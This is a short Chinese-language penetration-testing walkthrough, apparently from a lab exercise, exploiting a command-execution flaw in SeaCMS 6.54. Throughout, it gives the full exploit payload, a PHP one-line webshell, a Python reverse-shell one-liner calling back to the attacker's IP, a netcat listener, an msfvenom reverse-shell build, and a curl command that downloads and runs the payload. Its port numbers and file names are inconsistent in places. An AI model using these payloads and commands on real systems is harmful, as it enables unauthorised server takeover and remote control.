攻击机器Kali,VPN地址:192.168.200.179
目标外网地址:10.3.4.87
网站指纹识别,海洋CMS,版本6.54
poc地址:Seacms-V6.54-命令执行漏洞 - Seacms
将抓到的包,发送到重发器
poc
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("whoami");
替换上poc,然后发送
可以看到成功执行命令,命令:whoami,返回:www-data
获取shell
echo -e "<?php @eval(\$_POST['cmd']); ?>" > webshell.php; cat webshell.php
curl -o webshell.php http://192.168.200.179:8888/webshell.php
curl -o test.php http://192.168.200.179:8888/test.php
执行which python3 查看是否存在可用的python
(坑点,当我执行which python时,系统中没有python2,导致我以为python3应该也不会有,走了弯路,所以下次收集信息的时候要全一点)
建立反向链接:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.200.179",6677));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
攻击机启动监听:
nc -vlnp 6667
发现失败了,很有可能在传输过程中,命令中的字符被过滤掉了。
当我尝试传输一句话木马的时候,就应证了这个事实。
所以,我选择用msf制作木马,上传后,让其执行
制作木马
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.200.175 LPORT=6677 -f elf -o shell
上传木马
which wget 发现不存在
which curl 存在,可以使用curl命令上传
Kali攻击机,在存有shellcode的路径下开启python的http服务
python3 -m http.server 8888
下载木马文件
curl -o shellcode http://192.168.200.179:8888/shellcode ; chmod 755 shellcode ; ls shellcode ; ./shellcode
查看是否下载成功
之后就好办了
Kali开启msf监听模块,设置好IP和端口,还有payload
chmod 755 /tmp/shellcode; ./tmp/shellcode